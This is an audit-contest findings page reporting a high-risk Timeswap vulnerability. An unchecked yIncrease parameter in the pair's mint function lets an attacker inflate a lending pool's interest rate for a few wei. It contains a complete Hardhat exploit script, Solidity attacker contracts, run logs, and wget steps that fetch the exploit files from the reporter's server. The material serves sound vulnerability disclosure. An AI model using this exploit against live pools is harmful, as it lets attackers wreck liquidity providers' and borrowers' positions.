Timeswap contest - Rhynorater's results

Like Uniswap, but for lending & borrowing.

General Information

Platform: Code4rena

Start Date: 04/01/2022

Pot Size: $75,000 USDC

Total HM: 17

Participants: 33

Period: 7 days

Judge: 0xean

Total Solo HM: 14

Id: 74

League: ETH

Timeswap

Findings Distribution

Researcher Performance

Rank: 9/33

Findings: 2

Award: $1,076.98

🌟 Selected for report: 2

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Rhynorater

Also found by: WatchPug, harleythedog, hyh

Labels

bug
3 (High Risk)
sponsor confirmed

Awards

1035.0861 USDC - $1,035.09

External Links

Handle

Rhynorater

Vulnerability details

Impact

Due to lack of constraints on user input in the TimeswapPair.sol#mint function, an attacker can arbitrarily modify the interest rate while only paying a minimal amount of Asset Token and Collateral Token.

Disclosure: This is my first time attempting Ethereum hacking, so I might have made some mistakes here since the math is quite complex, but I'm going to give it a go.

Proof of Concept

The attack scenario is this: A malicious actor is able to hyper-inflate the interest rate on a pool by triggering a malicious mint function. The malicious actor does this to attack the LP and other members of the pool.

Consider the following HardHat script:

const hre = require("hardhat"); //jtok is asset //usdc is collat async function launchTestTokens(tokenDeployer){ //Launch a token const TestToken = await ethers.getContractFactory("TestToken", signer=tokenDeployer); const tt = await TestToken.deploy("JTOK", "JTOK", 1000000000000000) const tt2 = await TestToken.deploy("USDC", "USDC", 1000000000000000) let res = await tt.balanceOf(tokenDeployer.address) let res2 = await tt.balanceOf(tokenDeployer.address) console.log("JTOK balance: "+res) console.log("USDC balance: "+res2) return [tt, tt2] } async function deployAttackersContract(attacker, jtok, usdc){ const Att = await ethers.getContractFactory("Attacker", signer=attacker) const atakcontrak = await Att.deploy(jtok.address, usdc.address) return atakcontrak } async function deployLPContract(lp, jtok, usdc){ const LP = await ethers.getContractFactory("LP", signer=lp) const lpc = await LP.deploy(jtok.address, usdc.address) return lpc } async function main() { const [tokenDeployer, lp, attacker] = await ethers.getSigners(); let balance = await tokenDeployer.getBalance() let factory = await ethers.getContractAt("TimeswapFactory", "0x5FbDB2315678afecb367f032d93F642f64180aa3", signer=tokenDeployer) //let [jtok, usdc] = await launchTestTokens(tokenDeployer) let jtok = await ethers.getContractAt("TestToken", "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", signer=tokenDeployer) let usdc = await ethers.getContractAt("TestToken", "0x8a791620dd6260079bf849dc5567adc3f2fdc318", signer=tokenDeployer) console.log("Jtok: "+jtok.address) console.log("USDC: "+usdc.address) //Create Pair //let txn = await factory.createPair(jtok.address, usdc.address) pairAddress = await factory.getPair(jtok.address, usdc.address) pair = await ethers.getContractAt("TimeswapPair", pairAddress, signer=tokenDeployer) console.log("Pair address: "+pairAddress); // Deploy LP //let lpc = await deployLPContract(lp, jtok, usdc) let lpc = await ethers.getContractAt("LP", "0x948b3c65b89df0b4894abe91e6d02fe579834f8f", signer=lp) let jtokb = await jtok.balanceOf(lpc.address) let usdcb = await usdc.balanceOf(lpc.address) console.log("LP Jtok: "+jtokb) console.log("LP USDC: "+usdcb) //let txn2 = await lpc.timeswapMint(1641859791, 15, pairAddress) let res = await pair.constantProduct(1641859791); console.log("Post LP Constants:", res); let atakcontrak = await deployAttackersContract(attacker, jtok, usdc) jtokb = await jtok.balanceOf(atakcontrak.address) usdcb = await usdc.balanceOf(atakcontrak.address) console.log("Attacker Jtok: "+jtokb) console.log("Attacker USDC: "+usdcb) //mint some tokens let txn2 = await atakcontrak.timeswapMint(1641859791, 15, pairAddress) let res2 = await pair.constantProduct(1641859791); console.log("Post Attack Constants:", res2); } main().then(()=>process.exit(0))

First, the LP deploys their pool and contributes their desired amount of tokens with the below contract:

pragma solidity =0.8.4; import "hardhat/console.sol"; import {ITimeswapMintCallback} from "./interfaces/callback/ITimeswapMintCallback.sol"; import {IPair} from "./interfaces/IPair.sol"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenLP is IERC20{ function mmint(uint256 amount) external; } contract LP is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenLP internal jtok; TestTokenLP internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenLP(_jtok); jtok.mmint(10_000 ether); usdc = TestTokenLP(_usdc); usdc.mmint(10_000 ether); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log("Maturity: ", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 5_000 ether; uint112 yIncrease = (APR*xIncrease)/(SEC_PER_YEAR*100); uint112 zIncrease = (5*xIncrease)/3; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, ""); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ jtok.mmint(100_000 ether); usdc.mmint(100_000 ether); console.log("Asset requested:", assetIn); console.log("Collateral requested:", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log("LP jtok before", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log("LP jtok after", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log("LP USDC before", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log("LP USDC After", afterUsdc); } }

Here are the initialization values:

uint112 xIncrease = 5_000 ether; uint112 yIncrease = (APR*xIncrease)/(SEC_PER_YEAR*100); uint112 zIncrease = (5*xIncrease)/3; //Static 167% CDP

With this configuration, I've calculated the interest rate to borrow on this pool using the functions defined here: https://timeswap.gitbook.io/timeswap/deep-dive/borrowing to be:

yMax: 4.7533146923118e-06 Min Interest Rate: 0.009374999999999765 Max Interest Rate: 0.14999999999999625 zMax: 1666.6666666666667

Around 1% to 15%.

Then, the attacker comes along (see line containing let atakcontrak and after). The attacker deploys the following contract:

pragma solidity =0.8.4; import "hardhat/console.sol"; import {ITimeswapMintCallback} from "./interfaces/callback/ITimeswapMintCallback.sol"; import {IPair} from "./interfaces/IPair.sol"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenAtt is IERC20{ function mmint(uint256 amount) external; } contract Attacker is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenAtt internal jtok; TestTokenAtt internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenAtt(_jtok); jtok.mmint(10_000 ether); usdc = TestTokenAtt(_usdc); usdc.mmint(10_000 ether); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log("Maturity: ", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 3; uint112 yIncrease = 1000000000000000; uint112 zIncrease = 5; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, ""); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ jtok.mmint(100_000 ether); usdc.mmint(100_000 ether); console.log("Asset requested:", assetIn); console.log("Collateral requested:", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log("Attacker jtok before", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log("Attacker jtok after", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log("Attacker USDC before", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log("Attacker USDC After", afterUsdc); } }

Which contains the following settings for a mint:

uint112 xIncrease = 3; uint112 yIncrease = 1000000000000000; uint112 zIncrease = 5; //Static 167% CDP

According to my logs in hardhat:

Maturity: 1641859791 Callback before: 8333825816710789998373 Asset requested: 3 Collateral requested: 6 Attacker jtok before 5000000000000000000000 Attacker jtok after 5000000000000000000003 Attacker USDC before 8333825816710789998373 Attacker USDC After 8333825816710789998379 Callback after: 8333825816710789998379 Callback expected after: 8333825816710789998379

The attacker is only required to pay 3 wei of Asset Token and 6 wei of Collateral token. However, after the attacker's malicious mint is up, the interest rate becomes:

yMax: 0.0002047533146923118 Min Interest Rate: 0.40383657499999975 Max Interest Rate: 6.461385199999996 zMax: 1666.6666666666667

Between 40 and 646 percent.

xyz values before and after:

Post LP Constants: [ BigNumber { value: "5000000000000000000000" }, BigNumber { value: "23766573461559" }, BigNumber { value: "8333333333333333333333" }, x: BigNumber { value: "5000000000000000000000" }, y: BigNumber { value: "23766573461559" }, z: BigNumber { value: "8333333333333333333333" } ] Attacker Jtok: 10000000000000000000000 Attacker USDC: 10000000000000000000000 Post Attack Constants: [ BigNumber { value: "5000000000000000000003" }, BigNumber { value: "1023766573461559" }, BigNumber { value: "8333333333333333333338" }, x: BigNumber { value: "5000000000000000000003" }, y: BigNumber { value: "1023766573461559" }, z: BigNumber { value: "8333333333333333333338" } ]

This result in destruction of the pool.

#0 - CloudEllie

2022-01-11T15:01:50Z

Warden rhynorater requested that we add the following information to this submission:

I've crafted an easy reproduce script which I've attached below. Please follow the below instructions to set up:

git clone https://github.com/code-423n4/2022-01-timeswap cd ./2022-01-timeswap/Timeswap/Timeswap-V1-Core/ wget https://poc.rhynorater.com/C4/timeswap/test.js wget https://poc.rhynorater.com/C4/timeswap/hardhat.config.ts -O ./hardhat.config.ts wget https://poc.rhynorater.com/C4/timeswap/attacker.sol -O ./contracts/attacker.sol wget https://poc.rhynorater.com/C4/timeswap/lp.sol -O ./contracts/lp.sol npm install npx hardhat run --network localhost test.js

This script will download the timeswap code base, download the exploit files I've configured from my server, install the required npm packages, then run the exploit script to provide the demo. If all goes according to plan, something like this should be the output:

TimeswapFactory: 0x67d269191c92Caf3cD7723F116c85e6E9bf55933 Jtok: 0xbe241D1B7b54bF06742cefd45A3440C6562f7603 USDC: 0xA82ED5224ba72f2f776e09B11DC99E30Ee65Da8d Pair address: 0x1AD81EA2a03b78a22BdB415Dc377B65BA6b0bc4D LP Jtok: 10000000000000000000000 LP USDC: 10000000000000000000000 LP Minting Some Liquidity Tokens... Post LP Mint Constants: [ BigNumber { value: "5000000000000000000000" }, BigNumber { value: "23766573461559" }, BigNumber { value: "8333333333333333333333" }, x: BigNumber { value: "5000000000000000000000" }, y: BigNumber { value: "23766573461559" }, z: BigNumber { value: "8333333333333333333333" } ] Attacker Jtok: 10000000000000000000000 Attacker USDC: 10000000000000000000000 Attacker minting some destruction... Post Attack Constants: [ BigNumber { value: "5000000000000000000003" }, BigNumber { value: "1023766573461559" }, BigNumber { value: "8333333333333333333338" }, x: BigNumber { value: "5000000000000000000003" }, y: BigNumber { value: "1023766573461559" }, z: BigNumber { value: "8333333333333333333338" } ] Post Attack Attacker Balances: Attacker Jtok: 9999999999999999999997 Attacker USDC: 9999999999999999999994 Y increased by 1e15, as defined in the attacker's contract

This demonstrates the following scenario:

  1. A TimeswapFactory is made
  2. A pair is made for JTOK/USDC
  3. An LP provides 5_000 JTOK and 8333 USDC as liquidity
  4. A malicious actor attempts to destroy the pool by calling a malicious mint with the following parameters: xIncrease=3, yIncrease=1000000000000000, zIncrease=5
  5. This is accepted by the factory as the yIncrease parameter is not checked, and the factory's Y value is skewed, throwing off the internal math.

For the math to continue to function properly within this contract, there has to be an invariant condition that the constant K in the XYZ=K formula does not change, which it does in this scenario.

I'd recommend that there be a modifier function that checks whether the Invariant holds at the end of each state changing function call. If it does not, then the contract should pause or the txn should revert.

test.js:

const hre = require("hardhat"); //jtok is asset //usdc is collat async function launchTestTokens(tokenDeployer){ //Launch a token const TestToken = await ethers.getContractFactory("TestToken", signer=tokenDeployer); const jtok = await TestToken.deploy("JTOK", "JTOK", ethers.utils.parseEther("20000")) const usdc = await TestToken.deploy("USDC", "USDC", ethers.utils.parseEther("20000")) return [jtok, usdc] } async function deployAttackersContract(attacker, jtok, usdc){ const Att = await ethers.getContractFactory("Attacker", signer=attacker) const atakcontrak = await Att.deploy(jtok.address, usdc.address) return atakcontrak } async function deployLPContract(lp, jtok, usdc){ const LP = await ethers.getContractFactory("LP", signer=lp) const lpc = await LP.deploy(jtok.address, usdc.address) return lpc } async function main() { const currentTime = Math.round(Date.now() / 1000) const maturityTime = currentTime+7200//+2 hours const [factoryDeployer, tokenDeployer, lp, attacker] = await ethers.getSigners(); //redeploy Factory const Fact = await ethers.getContractFactory("TimeswapFactory", signer=factoryDeployer) const factory = await Fact.deploy(factoryDeployer.address, 30, 30); console.log("TimeswapFactory:",factory.address) //let factory = await ethers.getContractAt("TimeswapFactory", "0x5FbDB2315678afecb367f032d93F642f64180aa3", signer=tokenDeployer) let [jtok, usdc] = await launchTestTokens(tokenDeployer, lp, attacker) //let jtok = await ethers.getContractAt("TestToken", "0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6", signer=tokenDeployer) //let usdc = await ethers.getContractAt("TestToken", "0x8a791620dd6260079bf849dc5567adc3f2fdc318", signer=tokenDeployer) console.log("Jtok: "+jtok.address) console.log("USDC: "+usdc.address) //Create Pair let txn = await factory.createPair(jtok.address, usdc.address) pairAddress = await factory.getPair(jtok.address, usdc.address) pair = await ethers.getContractAt("TimeswapPair", pairAddress, signer=tokenDeployer) console.log("Pair address: "+pairAddress); // Deploy LP let lpc = await deployLPContract(lp, jtok, usdc) await jtok.transfer(lpc.address, ethers.utils.parseEther("10000")) await usdc.transfer(lpc.address, ethers.utils.parseEther("10000")) //let lpc = await ethers.getContractAt("LP", "0x948b3c65b89df0b4894abe91e6d02fe579834f8f", signer=lp) let jtokb = await jtok.balanceOf(lpc.address) let usdcb = await usdc.balanceOf(lpc.address) console.log("LP Jtok: "+jtokb) console.log("LP USDC: "+usdcb) // Mint some tokens using LP console.log("LP Minting Some Liquidity Tokens...") let txn2 = await lpc.timeswapMint(maturityTime, 15, pairAddress) //Showing XYZ Status let res = await pair.constantProduct(maturityTime); console.log("Post LP Mint Constants:", res); //Deploy Exploit Contract let atakcontrak = await deployAttackersContract(attacker, jtok, usdc) await jtok.transfer(atakcontrak.address, ethers.utils.parseEther("10000")) await usdc.transfer(atakcontrak.address, ethers.utils.parseEther("10000")) jtokb = await jtok.balanceOf(atakcontrak.address) usdcb = await usdc.balanceOf(atakcontrak.address) console.log("Attacker Jtok: "+jtokb) console.log("Attacker USDC: "+usdcb) //Malicious mint console.log("Attacker minting some destruction...") let txn3 = await atakcontrak.timeswapMint(maturityTime, 15, pairAddress) //Showing XYZ Status let res2 = await pair.constantProduct(maturityTime); console.log("Post Attack Constants:", res2); console.log("Post Attack Attacker Balances:") jtokb = await jtok.balanceOf(atakcontrak.address) usdcb = await usdc.balanceOf(atakcontrak.address) console.log("Attacker Jtok: "+jtokb) console.log("Attacker USDC: "+usdcb) console.log("Y increased by 1e15, as defined in the attacker's contract") } main().then(()=>process.exit(0))

attacker.sol:

pragma solidity =0.8.4; import "hardhat/console.sol"; import {ITimeswapMintCallback} from "./interfaces/callback/ITimeswapMintCallback.sol"; import {IPair} from "./interfaces/IPair.sol"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenAtt is IERC20{ function mmint(uint256 amount) external; } contract Attacker is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenAtt internal jtok; TestTokenAtt internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenAtt(_jtok); usdc = TestTokenAtt(_usdc); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log("Maturity: ", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 3; uint112 yIncrease = 1000000000000000; uint112 zIncrease = 5; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, ""); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ console.log("Asset requested:", assetIn); console.log("Collateral requested:", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log("Attacker jtok before", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log("Attacker jtok after", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log("Attacker USDC before", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log("Attacker USDC After", afterUsdc); } }

lp.sol:

pragma solidity =0.8.4; import "hardhat/console.sol"; import {ITimeswapMintCallback} from "./interfaces/callback/ITimeswapMintCallback.sol"; import {IPair} from "./interfaces/IPair.sol"; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface TestTokenLP is IERC20{ function mmint(uint256 amount) external; } contract LP is ITimeswapMintCallback { uint112 constant SEC_PER_YEAR = 31556926; TestTokenLP internal jtok; TestTokenLP internal usdc; constructor(address _jtok, address _usdc){ jtok = TestTokenLP(_jtok); usdc = TestTokenLP(_usdc); } function timeswapMint(uint maturity, uint112 APR, address pairAddress) public{ uint256 maturity = maturity; console.log("Maturity: ", maturity); address liquidityTo = address(this); address dueTo = address(this); uint112 xIncrease = 5_000 ether; uint112 yIncrease = (APR*xIncrease)/(SEC_PER_YEAR*100); uint112 zIncrease = (5*xIncrease)/3; //Static 167% CDP IPair(pairAddress).mint(maturity, liquidityTo, dueTo, xIncrease, yIncrease, zIncrease, ""); } function timeswapMintCallback( uint112 assetIn, uint112 collateralIn, bytes calldata data ) override external{ console.log("Asset requested:", assetIn); console.log("Collateral requested:", collateralIn); //check before uint256 beforeJtok = jtok.balanceOf(msg.sender); console.log("LP jtok before", beforeJtok); //transfer jtok.transfer(msg.sender, assetIn); //check after uint256 afterJtok = jtok.balanceOf(msg.sender); console.log("LP jtok after", afterJtok); //check before uint256 beforeUsdc = usdc.balanceOf(msg.sender); console.log("LP USDC before", beforeUsdc); //transfer usdc.transfer(msg.sender, collateralIn); //check after uint256 afterUsdc = usdc.balanceOf(msg.sender); console.log("LP USDC After", afterUsdc); } }
AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter